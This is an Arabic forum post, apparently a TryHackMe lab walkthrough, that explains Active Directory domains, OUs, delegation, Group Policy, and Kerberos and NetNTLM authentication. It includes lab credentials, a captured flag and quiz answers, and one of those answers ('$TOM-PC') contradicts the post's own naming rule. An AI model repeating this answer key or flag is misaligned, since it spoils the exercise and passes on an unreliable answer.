






السمعة:
- إنضم17 يونيو 2023
- المشاركات 519
- الحلول 10
- مستوى التفاعل 1,109
- النقاط 93
الـ Active Directory يستخدم من قبل حوالي 90% من الشركات الكبيرة حول العالم. إذا كانت الشركة بتستخدم نظام تشغيل Windows من مايكروسوفت ف محتمل جدًا أنها بتستخدم الـ Active Directory , الـ Active Directory من مايكروسوفت هي المجموعة الأساسية لإدارة شبكات الدومين بالـ Windows ولأنها تُستخدم لإدارة الهوية والوصول فهي اكيد هدف رئيسي للمهاجمين وهو ببساطة يبسّط ادارة الاجهزه والمستخدمين داخل الشركه او نحكي الشبكه
وكمان راح نشرح بهاد الدرس طريق يمكن استخدامها لاختراق الـ AD ونقدر نحصل على الـ credentials وطبعا بإمكاننا نستخدم هاي الطرق اما اننا نستهدف انظمه الشركة اللي متصله بالنت او نزرع جهاز مخترق بالشبكة
راح نركز على الامور هاي بهاد الروم
1. ما هو الـ Windows Domains
2. ما هو الـ Active Directory
3. إدارة المستخدمين بالـ Active Directory
4. إدارة الاجهزة بالـ Active Directory
5. تنظيم الـ Group Policies بالـ Active Directory
6. طرق الـ Authentication بالـ Active Directory
7. اداره الـ Treesو Forests بالـ Active Directory
8. مقدمة عن اختراق الـ Active Directory
9. تقنيات اختراق الـ Active Directory
10. مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD
11. الـ Microsoft Deployment Toolkit
12. الـ Configuration Files
ما هو الـ Windows Domains
تخيل انك بتدير شركه صغيره بتحتوي على 5 اجهزه و 5 موظفين بس بالحاله هاي بتعمل الاعدادات لكل جهاز على حدى بشكل بسيط وبتنشأ حساب لكل جهاز واذا تعطل جهاز او اعداد بتروح وبتصلحه لكن المشكله اذا توسع شغلك او كنت مسؤول عن 200 جهاز و 300 موظف هل راح تقدر تدير كل هاي الاجهزه والاعدادات والمستخدمين واحد واحد لا طبعا
حل هاي المشكله هو الـ Windows Domains ببساطة هو مجموعة من المستخدمين وأجهزة الكمبيوتر تحت إدارة عمل معين.
الفكرة الأساسية هي تجميع إدارة مكونات شبكة الكمبيوتر بمكان واحد اسمه Active Directory (AD) والخادم يدير خدمات الـ Active Directory هو الـ Domain Controller (DC)

مزايا الـ Windows Domains
- إدارة الهوية المركزية : بأمكانك إعداد جميع المستخدمين على الشبكة بسهولة من خلال الـ Active Directory
- إدارة سياسات الأمان : بأمكانك تضبط سياسات الأمان مباشرة من الـ Active Directory وتطبيقها على المستخدمين وأجهزة الكمبيوتر حسب الحاجة.
مثال واقعي
اذا تعاملت قبل مع الـ Windows Domains بمدرستك أو بجامعتك أو بعملك بتحصل عادة على اسم مستخدم وكلمة مرور بامكانك تستخدمهم على أي جهاز كمبيوتر متاح بالمكان بتكون هاي البيانات صالحة على جميع الأجهزة لأن عملية التحقق تتم عبر الـ Active Directory, بفضل الـ Active Directory ما بتحتاج تكون بياناتك موجوده على كل الاجهزهوايضا الـ Active Directory بأمكانه يقييد وصولك لبعض الأجزاء من النظام مثل لوحة التحكم على أجهزة مدرستك أو جامعتك
عندنا مثال بنفترض دور مسؤول تكنولوجيا المعلومات الجديد بشركة THM Inc
طُلب منا مراجعة النطاق الحالي THM.local وإجراء بعض التعديلات
بالمثال راح نحصل على بيانات دخول إدارية على خادم Domain Controller مسبق التكوين لأداء المهام
لتبدأ المثال بنضغط على زر Start Machine لفتح الجهاز بمتصفحك إذا كنت تفضل الاتصال عبر RDP استخدم البيانات التالية :
- اسم المستخدم: Administrator
- كلمة المرور: Password321
ملاحظة: عند الاتصال عبر RDP استخدم THM\Administrator لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم Administrator في نطاق THM
طبعا عشان نتصل عن طريق الـ RDP بنشغل الـ vpn اللي من TryHackMe عشان نتصل على الشبكه الخاصه فيهم وبنشغل المشين وبعدها بنفتح على ويندوز الـ Remote Desktop Connection وبنحط الـ ip وبنعمل conn
أين تُخزن بيانات الدخول في نطاق ويندوز؟
Active Directory
ما اسم الخادم المسؤول عن تشغيل خدمات Active Directory؟
Domain Controller
ما هو الـ Active Directory
الـ Active Directory هو نظام أساسي مهم في أي شبكة Windows بقدّم خدمات تسمى AD | DS وهي تخزن معلومات كل الـ objects الموجودة بالشبكة مثل المستخدمين والمجموعات والأجهزة والطابعات وغيرها
نستعرض بعضها:
المستخدمين
المستخدمين هم من أكثر أنواع الـ objects شيوعًا بالـ Active Directory , المستخدمين هم أحد الـ objects المعروفة باسم security principals ، يعني يمكن التحقق من هويتهم بواسطة الدومين ويمكن تخصيص صلاحيات لهم على الموارد مثل الملفات أو الطابعات بأمكانك تحكي أن الـ security principal هو object بأمكانه يشتغل او يعمل على الموارد بالشبكة
المستخدمين : الأشخاص اللي بدخلوا على الشبكة وممكن يكونوا :
- الأشخاص : مثل الموظفين اللي بحتاجوا يوصلو للشبكة
- الخدمات : مثل IIS أو MSSQL وهاي بتحتاج لحساب مستخدم خاص فيها عشان تشتغل
الأجهزة
الأجهزة هي نوع آخر من الـ objects داخل الـ Active Directory لكل كمبيوتر بنضم لدومين الـ Active Directory يتم إنشاء object له
الأجهزة تعتبر أيضًا security principal ويتم تخصيص حساب الها تمامًا مثل أي مستخدم عادي هاد الحساب اله حقوق محدودة إلى حد ما داخل الدومين نفسه
- الأجهزة: لكل جهاز بنضم للشبكة يُنشأ له حساب خاص بالـ Active Directory هاي الحسابات بتكون مشابهة لحسابات المستخدمين ولكن بقدرات محدودة عادة غير ممكن لاي أحد يدخل لحسابات الأجهزة ( يعني حساب المسؤول ) إلا من الجهاز نفسه لكن إذا كان عندك كلمة المرور بإمكانك الدخول
حسابات الأجهزة نفسها هي مسؤولي النظام المحليين على الكمبيوتر المعين بشكل عام لا يُفترض أن يتم الوصول إليها من قبل أي شخص باستثناء الكمبيوتر نفسه، ولكن كما هو الحال مع أي حساب آخر، إذا كان لديك كلمة المرور، يمكنك استخدامها لتسجيل الدخول.
ملاحظة: يتم تدوير كلمات مرور حسابات الأجهزة تلقائيًا وتتكون عادة من 120 حرفًا عشوائيًا. يمكن التعرف على حسابات الأجهزة بسهولة لانها بتتبع نمط تسمية معين , اسم حساب الجهاز هو اسم الكمبيوتر متبوعًا بعلامة الدولار مثلا جهاز اسمه DC01 بكون عنده حساب يسمى DC01$
إذا كنت بتعرف Windows منيح بتعرف أنه بإمكانك تعمل تعريف لمجموعات المستخدمين لتخصيص حقوق الوصول لـ الملفات أو الموارد الأخرى لمجموعات كاملة بدلاً من مستخدمين منفردين. هاد بسمح بإدارة أفضل حيث بإمكانك تضيف المستخدمين إلى مجموعة موجودة وبرثو تلقائيً جميع حقوق المجموعة , مجموعات الأمان تعتبر أيضًا security principals ، ولذلك يمكن أن تكون لها صلاحيات على الموارد بالشبكة.
يمكن أن تضم المجموعات كل من المستخدمين والأجهزة كأعضاء. إذا لزم الأمر، يمكن أن تضم المجموعات مجموعات أخرى أيضًا.
يتم إنشاء عدة مجموعات بشكل افتراضي في الدومين يمكن استخدامها لمنح صلاحيات محددة للمستخدمين. على سبيل المثال، هنا بعض من أهم المجموعات بالدومين :
مجموعة الأمان | الوصف |
---|---|
الـ Domain Admins | المستخدمون بالمجموعة هاي عندهم صلاحيات إدارية على كامل الدومين. افتراضيًا، يمكنهم إدارة أي كمبيوتر في الدومين، بما في ذلك أجهزة التحكم في الدومين (DCs). |
الـ Server Operators | المستخدمون بالمجموعة هاي بإمكانهم إدارة أجهزة التحكم بالدومين. لا يمكنهم تغيير عضوية أي مجموعة إدارية. |
الـ Backup Operators | المستخدمون بالمجموعة هاي بإمكانهم الوصول إلى أي ملف، متجاهلين صلاحياته. يستخدمون لأخذ نسخ احتياطية من البيانات على أجهزة الكمبيوتر. |
الـ Account Operators | المستخدمون بالمجموعة هاي بإمكانهم إنشاء أو تعديل الحسابات الأخرى في الدومين. |
الـ Domain Users | تشمل جميع حسابات المستخدمين الموجودة في الدومين. |
الـ Domain Computers | تشمل جميع أجهزة الكمبيوتر الموجودة في الدومين. |
الـ Domain Controllers | تشمل جميع أجهزة التحكم في الدومين الموجودة في الدومين. |
يمكنك الحصول على القائمة الكاملة لمجموعات الأمان الافتراضية من Microsoft documentation
عشان نقدر نكوّن المستخدمين والمجموعات أو الأجهزة بالـ Active Directory لازم ندخل على الـ Domain Controller ونشغل الـ Active Directory Users and Computers :هاد بفتحلنا نافذة بنقدر نشوف فيها هيكل المستخدمين والأجهزة والمجموعات اللي موجودة بالدومين
الامور هاي مقسمة بوحدات تنظيمية (OUs) اللي هي عبارة عن حاويات بتسمحلك تصنف المستخدمين والأجهزة.
الوحدات التنظيمية هاي عادةً بنستخدمها عشان نحدد مجموعات من المستخدمين اللي عندهم نفس متطلبات السياسات. الناس اللي بقسم المبيعات في شركتك غالبًا بكون عندهم مجموعة سياسات مختلفة عن الناس اللي بقسم تقنية المعلومات مثلاً. خلي ببالك إن المستخدم ممكن يكون بجزء من وحدة تنظيمية وحدة بس بنفس الوقت
لو شفنا عننا بنلاقي فيه وحدة تنظيمية اسمها THM ومعاها أربع وحدات تنظيمية فرعية لقسم تقنية المعلومات الإدارة التسويق والمبيعات.
الوحدات التنظيمية عاده بتكون متشابهة لبنية العمل عشان يسهل علينا نطبق السياسات اللي تنطبق على الأقسام كلها هاد النموذج المتوقع أغلب الوقت بس بإمكاننا نحدد الوحدات التنظيمية بأي طريقة بنحبها
ممكن تعمل كليك يمين على وحدة THM وتعمل وحدة تنظيمية جديدة تحتها باسم Students مثلا ...
لو فتحت أي وحدة تنظيمية بتقدر تشوف المستخدمين اللي فيها وتعمل مهام بسيطة زي إنشاء حذف أو تعديلهم حسب الحاجة. بتقدر كمان تعيد تعيين كلمات المرور لو احتجت (وهاد مفيد جدًا لقسم الدعم الفني)
ممكن تكون لاحظت إنه فيه حاويات افتراضية تانية غير وحدة THM. الحاويات هاي بعملها Windows تلقائيًا وبتحتوي على الآتي :
- الـ Builtin : فيها المجموعات الافتراضية اللي متاحة لأي جهاز Windows .
- الـ Computers : أي جهاز بنضم للشبكة بنحط هنا بشكل افتراضي. بتقدر تحركهم لو احتجت.
- الـ Domain Controllers : وحدة تنظيمية افتراضية بتحتوي على وحدات تحكم الدومين في شبكتك.
- الـ Users : المستخدمين والمجموعات الافتراضية اللي بتنطبق على مستوى الدومين كله.
- الـ Managed Service Accounts : فيها الحسابات اللي بتستخدمها الخدمات بدومين Windows الخاص فيك
المجموعات الأمنية مقابل الوحدات التنظيمية
ممكن تتساءل ليه عننا مجموعات ووحدات تنظيمية. رغم إن الاثنين بستخدموا لتصنيف المستخدمين والأجهزة، لكن أغراضهم مختلفة تمامًا:
- الوحدات التنظيمية : بنستخدمها لتطبيق السياسات على المستخدمين والأجهزة، اللي بتشمل تكوينات محددة بتنطبق على مجموعات المستخدمين حسب دورهم بالمؤسسة. زي لما حكينا إن المستخدم بكون عضو بوحدة تنظيمية وحدة بس بنفس الوقت عشان مش منطق نحاول نطبق مجموعتين مختلفتين من السياسات على مستخدم واحد
.
- المجموعات الأمنية: بنستخدمها عشان نعطي صلاحيات للوصول للموارد. مثلاً، لو بدك تسمح لبعض المستخدمين بالوصول لمجلد مشترك أو طابعة شبكة , المستخدم ممكن يكون عضو بمجموعات كثيرة وهاد مطلوب عشان نعطيهم صلاحية للوصول لأكتر من مورد
من يدير جميع الأجهزة والموارد في الشبكة؟
Domain Admins
ما اسم حساب الجهاز المرتبط بجهاز يسمى TOM-PC؟
$TOM-PC
إذا أنشأنا قسم جديد لجودة الضمان، ما النوع المناسب من الحاويات لتجميع كل مستخدمي القسم لتطبيق السياسات عليهم بشكل متناسق؟
Organizational Units
إدارة المستخدمين بالـ Active Directory
سيناريو:
مهمتك الأولى كمسؤول Domain جديد هي التحقق من وجود وحدات التنظيم الإداري (OUs) والمستخدمين الحاليين بالـ AD ، نظرًا لحدوث بعض التغييرات الأخيرة بالشركة تم تزويدك بالرسم البياني التنظيمي التالي ومن المتوقع أن تقوم بإجراء تغييرات بالـ AD لتتوافق معه :
الرسم البياني التنظيمي لشركة THM

حذف الـ OUs والمستخدمين الزائدين
أول شيء يجب ملاحظته هو أن هناك وحدة تنظيمية إضافية في تكوين AD الحالي لا تظهر بالرسم البياني. تم إغلاقها بسبب تخفيضات الميزانية ويجب إزالتها من النطاق. إذا حاولت النقر بزر الماوس الأيمن وحذف الـ OU ، ستحصل على رسالة خطأ تفيد :
بشكل افتراضي، تكون الـ OU'S محمية ضد الحذف العرضي. لحذف الـ OU، بنحتاج لتمكين الميزات المتقدمة في قائمة View > تمكين الميزات المتقدمة
بظهرلك بعض الحاويات الإضافية وبإمكانك تعمل تعطيل من حماية الحذف العرضي الها عن طريق الظغط على زر الماوس الأيمن على OU واذهب إلى الخصائص. ستجد خانة الاختيار في خانه الـ object لتعطيل الحماية:
تأكد من إلغاء التحديد وحاول حذف OU مرة أخرى سيُطلب منك تأكيد رغبتك في حذف الـ OU ونتيجة لحذفها سيتم حذف أي مستخدمين أو مجموعات أو OUs تحتها أيضًا.
بعدها لازم نتاكد من المستخدمين اللي بالاقسام بنلاحظ أن بعض الأقسام المستخدمين في AD ما يتطابقون مع اللي موجودة بالرسم البياني التنظيمي اللي عننا ف بنعمل إنشاء وحذف المستخدمين حسب الحاجة لمطابقتهم.
هون بنمحي المستخدمين الزياده
التفويض
أحد الأشياء الجيدة التي بإمكانك القيام بها بالـ AD هو منح مستخدمين محددين بعض التحكم ببعض الـ OUs. تعرف العملية هاي باسم التفويض وبتسمحلك تمنح مستخدمين صلاحيات محددة لأداء مهام متقدمة على OUs دون الحاجة إلى تدخل الـ Domain Administrator.
أحد أكثر حالات الاستخدام شيوعًا لهذا هو منح فريق الدعم تقني صلاحيات إعادة تعيين كلمات مرور المستخدمين ذوي الصلاحيات المنخفضة. وفقًا لرسمنا التنظيمي يتولى فيليب مسؤولية الدعم تقني، لذا من المحتمل أن نرغب في منحه التحكم في إعادة تعيين كلمات المرور لأقسام المبيعات والتسويق والإدارة.
عشان نمنح فيليب التحكم بالـ OU للمبيعات، بأمكاننا النقر بزر الماوس الأيمن عليها واختيار Delegate Control:
يجب أن تفتح نافذة جديدة تُطلب منك أولاً تحديد المستخدمين الذين ترغب في منحهم التحكم:
الآن دعونا نستخدم حساب فيليب لمحاولة إعادة تعيين كلمة مرور سوفي.
إليك بيانات اعتماد فيليب لك تسجيل الدخول عبر RDP:
اسم المستخدم phillip
كلمة المرور Claire2008
ملاحظة: عند الاتصال عبر RDP، استخدم THM\phillip كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم فيليب على نطاق THM
بينما قد تميل إلى الذهاب إلى أدوات مستخدمي Active Directory ومحاولة اختبار صلاحيات فيليب الجديدة، ف بنشوف انه ما اله صلاحيات لفتحها ، عشان هيك بتعين علينا نستخدم طرق ثانيه لإعادة تعيين كلمات المرور.
بهاي الحالة، بنستخدم الـ Powershell :
كود:
PS C:\Users\phillip> Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose
New Password: *********
VERBOSE: Performing the operation "Set-ADAccountPassword" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".
.نظرًا لأننا لا نرغب في أن يستمر استخدام سوفي لكلمة مرور نعرفها، يمكننا أيضًا فرض إعادة تعيين كلمة المرور في تسجيل الدخول التالي باستخدام الأمر التالي:
كود:
PS C:\Users\phillip> Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose
VERBOSE: Performing the operation "Set" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".
بنسجل دخول لحساب سوفي باستخدام كلمة المرور الجديدة اللي حطيناها وبنلاقي الحل على سطح مكتب سوفي.
ملاحظة: عند الاتصال عبر RDP، استخدم THM\sophie كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم سوفي على نطاق THM.
هاي هي الخطوه الثانيه اللي عملناها
ما هو العلم الموجود على سطح مكتب صوفي؟
THM{thanks_for_contacting_support}
تسمى عملية منح الامتيازات لمستخدم عبر بعض الوحدات التنظيمية أو كائنات AD الأخرى...
delegation
إدارة الاجهزة بالـ Active Directory
بشكل افتراضي تُضاف جميع الأجهزة اللي بتنضم لنطاق معين (باستثناء المراكز التحكم الرئيسية) إلى حاوية تسمى Computers
إذا تحققنا من مركز التحكم الرئيسي بنلاقي انه بعض الأجهزة موجودة هناك :
حاوية Computers OU
لما نفوت عليها بنلاقي خوادم وأجهزة محمولة وأجهزة كمبيوتر التي بتتناسب مع المستخدمين بشبكتنا , طبعا وضع كل الأجهزة هون فكرة مش منيحه لأنه اكيد بدك تطبق سياسات على كل نوع منهم ف ما رح تطبق نفس السياسات للخوادم والأجهزة اللي بستخدمها المستخدمون العاديون يوميًا.
نقطة البداية الممتازة هي نفصل الأجهزة حسب استخدامها. بشكل عام ممكن نشوف الاجهزه مقسمه لثلاث فئات :
- الأجهزة العملية (workstation)
- الخوادم (Servers)
- مراكز التحكم الرئيسية (Domain Controllers)
نكمل السناريو
مش احنا بننظم الـ AD الخاص فينا بننشئ مجموعتين منفصلتين للأجهزة: مجموعة للأجهزة العملية وأخرى للخوادم (مراكز التحكم الرئيسية بالفعل في مجموعة أنشأتها Windows). بننشئهم تحت النطاق thm.local
الآن بس بننقل أجهزة الكمبيوتر الشخصية وأجهزة الكمبيوتر المحمولة لقسم الـ workstation والخوادم لقسم الـ servers من قسم الـ Computers , بتيحلنا هاد اللي عملناه تكوين السياسات لكل قسم لحال
بعد ما ننشئ قسمين وننقل عليهم الاجهزه
بعد تنظيم أجهزة الكمبيوتر المتاحة، كم عدد أجهزة الكمبيوتر التي انتهى بها الأمر في الوحدة التنظيمية لمحطات العمل؟
7
هل يوصى بإنشاء وحدات تنظيمية منفصلة للخوادم ومحطات العمل؟ (yay/nay)
yay
تنظيم الـ Group Policies بالـ Active Directory
حتى الآن نظمنا المستخدمين وأجهزة الكمبيوتر بوحدات تنظيمية (OUs) الفكرة الاساسية هي انو نضع سياسات مختلفة لكل وحدة تنظيمية بشكل فردي. هيك بإمكاننا نطبق تكوينات وسياسات للأمان مختلفة للمستخدمين حسب إداراتهم.
إدارة السياسات عبر الـ Group Policy Objects (GPO)
الـ GPOs هي ببساطة مجموعة من الإعدادات اللي ممكن تطبيقها على الوحدات التنظيمية. ممكن تحتوي الـ GPOs على سياسات بتستهدف إما المستخدمين أو أجهزة الكمبيوتركيفية تكوين الـ GPOs
بس نفتح الأداة بظهرلك هيكلية الوحدات التنظيمية الكاملة اللي شفناها قبل
عشان ننشئ سياسة جديدة
بننشئها تحت الـ Group Policy Objects بعدها بنربطها بالوحدة التنظيمية اللي بدنا نطبق السياسات هاي عليها
مثلا في ثلاث سياسات موجودة بالفعل بالجهاز : Default Domain Policy و RDP Policy و Default Domain Controllers Policy
سياسات Default Domain Policy و RDP Policy مرتبطة بنطاق thm.local كامل ، بينما سياسة Default Domain Controllers Policy مرتبطة بوحدة Domain Controllers فقط.
تطبيق GPOs على الوحدات التنظيمية الفرعية:
أي GPO مرتبطة بوحدة تنظيمية بتنطبق على أي وحدات تنظيمية فرعية تحتها يعني وحدة Sales بتنطبق عليها سياسة Default Domain Policy
تحليل GPO
بنفتح على سياسة Default Domain Policy ، لما نختارها بظهر الـ (scope) اللي بتظهر مكان الـ linked الـ GPO بالـ (AD) بهاي الحاله تم ربطها بس بنطاق الـ thm.local
الـ Security Filtering بالـ GPO
بامكاننا نطبق الـ Security Filtering على الـ GPOs بحيث تنطبق فقط على المستخدمين/الكمبيوترات المحددة ضمن وحدة تنظيمية ( او قسم معين يعني ).افتراضيًا، بتنطبق على مجموعة المستخدمين المصادق عليهم ( Authenticated Users ) اللي بتشمل كل المستخدمين/الكمبيوترات.
الإعدادات بالـ GPO
تحتوي الإعدادات على محتويات الـ GPO الفعلية وبتتيحلنا نعرف التكوينات المحددة اللي بتنطبق , بتحتوي كل الـ GPO على تكوينات بتنطبق على الكمبيوترات بس وتكوينات بتنطبق على المستخدمين بس.بهاي الحالة بتحتوي سياسة الـ Default Domain Policy على تكوينات الكمبيوتر فقط.
تغيير إعدادات الـ GPO
لتغيير سياسة طول كلمة المرور الأدنى مثلااتبع الخطوات التالية:
بنظغط كلك يمين على الـ GPO وبنختار Edit
بعدها بنروح لـ Computer Configurations -> Policies -> Windows Setting -> Security Settings -> Account Policies -> Password Policy
بعدها بنغير قيمة السياسة المطلوبة (مثل طول كلمة المرور الأدنى).
استكشاف المزيد من السياسات
هناك العديد من السياسات التي يمكن تكوينها في الـ GPO. يمكنك استكشاف المزيد من السياسات المتاحة والتفاصيل الخاصة بها بالنقر المزدوج عليها وقراءة علامة تبويب التفسير (Explain) لكل منها.الـ GPOs بتتوزع على الشبكة عن طريق مكان للمشاركة بالشبكة اسمه SYSVOL اللي موجود بالـ Domain Controller (DC)
كل المستخدمين اللي بالدومين المفروض بقدروا يوصلوا للمكان هاد عن طريق الشبكة عشان يقدروا يحدثوا الـ GPOs تاعتهم بشكل دوري , المكان هاد بشكل افتراضي بكون بمسار : \C:\Windows\SYSVOL\sysvol على كل الـ DCs بالشبكة
لما ينعمل أي تغيير بالـ GPOs ، ممكن ياخذ لحد ساعتين عشان الأجهزة تحدث الـ GPOs الجديدة لو بدك تجبر جهاز معين يحدث الـ GPOs فوراً ، ممكن تشغل الأمر هاد على الجهاز المطلوب :
كود:
PS C:\> gpupdate /force
إنشاء بعض GPOs لشركة THM Inc
في شغلنا الجديد عننا مهمة إننا نطبق شوية GPOs عشان :1. نمنع المستخدمين غير الـ IT انهم يوصلو للوحة التحكم (Control Panel)
2. نخلي أجهزة الـ workstations و servers تقفل الشاشة تلقائياً بعد 5 دقائق من عدم النشاط عشان ما يتركو الجلسات مفتوحة
راح نركز على كل وحدة ونحدد السياسات اللي راح نفعلها بكل الـ GPO وأماكن ربطها
تقييد الوصول للوحة التحكم
بدنا نمنع الوصول للوحة التحكم على كل الأجهزة إلا للمستخدمين اللي بقسم الـ IT المستخدمين اللي بالأقسام الثانية غير مسموح الهم يغيروا إعدادات النظامبننشئ GPO جديد اسمه Restrict Control Panel Access وبنفتحه عشان نعدل عليه بما إننا بدنا الـ GPO يتطبق على مستخدمين محددين بنبحث عند الـ User Configuration على السياسة هاي :
نجدها هنا
نقوم بتفعيل هذه السياسه
وهسا بس بنسحبها لكل الاقسام اللي بدنا نمنع عنهم الـ Control Panel
بنلاحظ اننا ما حطيناها بقسم الـ lT لانو احنا بدنا نخليلهم صلاحيه للـ Control Panel
الـ GPO لقفل الشاشة تلقائياً
بإمكاننا نطبقها مباشرة على الـ OUs تاعة الأجهزة والسيرفرات والـ Domain Controllers اللي عملناها قبل
رغم إن هاد الحل بزبط وفي برضو حل بديل وهو إننا نطبق الـ GPO على الدومين الرئيسي لأننا بدنا الـ GPO يأثر على كل أجهزتنا , بما إن الـ OUs تاعة الـ workstations و servers والـ Domain Controllers كلها وحدات فرعية من الدومين الرئيسي ف راح تورث السياسات اللي بالدومين الرئيسي
ملاحظة: لو الـ GPO تم تطبيقه على الدومين الرئيسي بتم وراثته برضو بالـ OUs الثانية زي التسويق والمبيعات بما إن الـ OUs دي بتحتوي على مستخدمين بس أي تكوينات بتخص الكمبيوتر في الـ GPO خاص فينا هتتجاهلهم.
بننشئ GPO جديد وبنسميه Auto Lock Screen وبنعدله
بأمكاننا نبحث على قوقل عن auto lock screen location in ad policy وبنطلعلنا المسار او بنفوت على الخيارات من اسمها ممكن تعرف وين ممكن تلاقيها
السياسة اللي راح نستخدمها موجودة بالمسار هاد :
هنحدد حد عدم النشاط بـ 5 دقائق علشان الأجهزة تقفل تلقائياً لو أي مستخدم ترك جلسته مفتوحة بعد ما نسكر محرر الـ GPO ، هنربط الـ GPO بالدومين الرئيسي عن طريق سحب الـ GPO ليه.
بطلب مننا العدد بالثواني
نجد معلومات عن هذه البولسي
التحقق من تطبيق GPOs
بعد ما نطبق الـ GPOs على الـ OUs الصحيحة، بنقدر نسجل الدخول بأي مستخدم من التسويق أو المبيعات أو الإدارة عشان نتأكدعشان نعمل هيك بنستخدم RDP وبنسجل دخول باستخدام بيانات مارك مثلا :
اسم المستخدم: Mark
كلمة المرور: M4rk3t1ng.21
ملاحظة: لما نستخدم RDP ، استخدم THM\Mark كاسم المستخدم علشان تحدد إنك عايز تسجل دخول كمستخدم مارك في دومين THM
لو حاولنا نفتح لوحة التحكم بتطلعلنا رسالة مكتوب فيها إنو الوصول ممنوع من المسؤول كمان ممكن نستنا 5 دقائق عشان نتأكد إن الشاشة بتتسكر تلقائي
بما إننا ما طبقنا الـ GPO تاعة لوحة التحكم على الـ IT بنقدر نسجل دخول لأي جهاز كمستخدمين من الـ IT وندخل لوحة التحكم عادي
ملاحظة: لو أنشأت وربطت الـ GPOs لكن لأي سبب ما اشتغلت اتذكر إنك بتقدر تشغل gpupdate /force عشان تجبره بتحديث الـ GPOs
ما اسم مشاركة الشبكة المستخدمة لتوزيع كائنات نهج المجموعة (GPO) على أجهزة المجال؟
SYSVOL
هل يمكن استخدام كائن نهج المجموعة (GPO) لتطبيق الإعدادات على المستخدمين وأجهزة الكمبيوتر؟ (ياي / لا)
yay
طرق الـ Authentication بالـ Active Directory
عند استخدام Windows domains يتم تخزين جميع بيانات الاعتماد بالـ Domain Controllers لما يحاول المستخدم المصادقة على خدمة باستخدام بيانات اعتماد الـ Domain بتحتاج الخدمة انها تتحقق من صحتها من خلال الـ Domain Control في بروتوكولين يمكن استخدامهما للمصادقة على الشبكة بنطاقات الـ Windows :
1. الـ Kerberos : يستخدم في أي إصدار حديث من الـ Windows وهو البروتوكول الافتراضي بأي نطاق حديث
2. الـ NetNTLM : بروتوكول مصادقة قديم يتم الاحتفاظ به لأغراض التوافق
على الرغم من أن الـ NetNTLM يعتبر قديم فإن معظم الشبكات بتحتوي على البروتوكولين الثنين مفعلين
نفصّل طريقه عمل كل من البروتوكولين
الـ Kerberos Authentication
هو بروتوكول المصادقة الافتراضي لأي إصدار حديث من Windows لما يسجل المستخدم دخوله لخدمة باستخدام Kerberos بتم تخصيص tickets اله ( فكّر في التذاكر كإثبات لمصادقة سابقة ) بإمكان المستخدمين اللي معهم ticket يقدموها للخدمة عشان يبينولها أنهم عملو مصادقة قبل على الشبكة وبالتالي بإمكانهم يستخدموها لما نستخدم الـ Kerberos للمصادقة بتحدث العمليات التالية :
1. برسل المستخدم اسم المستخدم الخاص فيه و طابع زمني ( timestamp مشفر باستخدام مفتاح مشتق من كلمة المرور ) إلى Key Distribution Center (KDC)
وهي خدمة يتم تثبيتها على الـ Domain Controller المسئول عن إنشاء تذاكر Kerberos على الشبكة
2. يقوم الـ KDC بإنشاء وإرسال Ticket Granting Ticket (TGT) التي بتسمح للمستخدم بطلب تذاكر إضافية للوصول إلى خدمات محددة كما يتم إعطاؤه الـ Session Key اللي بحتاجه لتوليد الطلبات التالية
ممكن يكون الموضوع هاد غريب لكنها بتتيح للمستخدمين بطلب تذاكر الخدمة بدون ما يدخلو بياناتهم بكل مره بدهم يتصلو بخدمة معينة
زي ما حكينا الـ TGT مشفرة باستخدام كلمة مرور حساب krbtgt وبالتالي لا يمكن للمستخدم الوصول إلى محتوياتها , من المهم نعرف أن الـ TGT المشفرة بتتضمن نسخة من الـ Session Key كجزء من محتوياتها و KDC مش بحاجه انه يخزن الـ Session Key لأنه بإمكانه يستعيده بفك تشفير الـ TGT عند الحاجة
الخطوتين موضحات بالصورة

اذا المستخدم بدو يتصل بخدمة على الشبكة مثل مشاركة موقع ويب أو قاعدة بيانات بستخدم TGT لطلب Ticket Granting Service (TGS) من KDC الـ TGS هي تذاكر بتتيح تتصل بس بخدمة محددة اللي انشأناها عشانها
3. عشان نطلب الـ TGS برسل المستخدم اسم المستخدم و الطابع الزمني ( اللي حكينا عنهم قبل ) مع TGT و الـ Service Principal Name (SPN) اللي بشير للخدمة واسم الخادم اللي بدنا نوصله , النتيجة للطلب الـ KDC برسل الـ TGS مع الـ Session Key اللي بنستخدمه للمصادقة على الخدمة اللي بدنا نوصللها
وطبعا يتم تشفير TGS باستخدام مفتاح مشتق من كلمه المرور الخاصه بـ مالك الخدمة اللي هو حساب المستخدم أو الجهاز الذي بتعمل تحته الخدمة , و الـ TGS بتضمن نسخة من الـ Session Key ضمن محتوياتها المشفرة بحيث المالك بإمكانه يوصله بس بفك تشفير الـ TGS .


الـ NetNTLM
بشتغل الـ NetNTLM باستخدام آلية challenge-responseالعملية الكاملة هيك :
1. العميل برسل طلب المصادقة للخادم اللي بده يوصلله بعدها الخادم بنشئ رقم عشوائي وبرسله كـ challenge للعميل بعدها العميل بدمج كلمه السر الخاصه فيه NTLM الخاصة به مع الـ challenge (وبيانات أخرى معروفة) لتوليد الـ response للـ challenge وبرسلها مرة ثانيه للـ server للتحقق
البروتوكول NTLM بعمل hash لكلمة مرور المستخدم ويستخدم الـ hash بعمليات المصادقة بدلاً من كلمة المرور الفعلية
2. بعدها الـ server بعمل إعادة توجيه للـ challenge والـ response لـ Domain Controller للتحقق , بستخدم الـ Domain Controller الـ challenge لإعادة حساب الـ response وبقارنها بالـ response الأصلية اللي أرسلها العميل إذا طلعو متطابقين اكيد يتم مصادقة العميل غير هيك يتم رفض الوصول , يتم إرسال نتيجة المصادقة إلى server ومن ثم يقوم الخادم بإعادة توجيه نتيجة المصادقة إلى العميل.
لاحظ أن كلمة مرور المستخدم (أو الـ hash ) لا يتم إرسالها عبر الشبكة للأمان
هل ستستخدم نسخة حالية من Windows بروتوكول NetNTLM كالبروتوكول الافتراضي للمصادقة؟ (yay/nay)
nay
عند الإشارة إلى Kerberos، ما نوع التذكرة التي تسمح لنا بطلب المزيد من التذاكر المعروفة باسم TGS؟
Ticket Granting Ticket
